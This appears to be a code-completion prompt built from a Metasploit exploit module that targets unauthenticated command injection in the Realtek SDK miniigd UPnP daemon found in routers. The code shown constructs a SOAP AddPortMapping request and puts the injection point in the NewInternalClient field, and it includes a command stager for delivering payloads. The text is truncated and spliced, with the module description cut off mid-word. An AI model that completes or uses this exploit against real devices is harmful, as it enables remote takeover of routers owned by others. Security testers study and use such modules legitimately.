You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: realtek_miniigd_upnp_exec_noauth.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include REXML

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Realtek SDK Miniigd UPnP SOAP Command Execution',
      'Description' => %q{
        Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS co
    
  def build_soap_req
    new_external_port = rand(32767) + 32768
    new_internal_port = rand(32767) + 32768

    xml = Document.new

    xml.add_element(
      'SOAP-ENV:Envelope',
      {
        'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
        'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/'
      })

    xml.root.add_element('SOAP-ENV:Body')

    body = xml.root.elements[1]

    body.add_element(
      'm:AddPortMapping',
      {
        'xmlns:m' => 'urn:schemas-upnp-org:service:WANIPConnection:1'
      })

    port_mapping = body.elements[1]
    port_mapping.add_element('NewLeaseDuration')
    port_mapping.add_element('NewInternalClient')
    port_mapping.add_element('NewEnabled')
    port_mapping.add_element('NewExternalPort')
    port_mapping.add_element('NewRemoteHost')
    port_mapping.add_element('NewProtocol')
    port_mapping.add_element('NewInternalPort')

    port_mapping.elements['NewLeaseDuration'].text  = ''
    port_mapping.elements['NewInternalClient'].text = 'CMD_HERE'
    port_mapping.elements['NewEnabled'].text        = '1'
    port_mapping.elements['NewExternalPort'].text   = "#{new_external_port}"
    port_mapping.elements['NewRemoteHost'].text     = ''
    port_mapping.elements['NewProtocol'].text       = 'TCP'
    port_mapping.elements['NewInternalPort'].text   = "#{new_internal_port}"

    xml.to_s
  end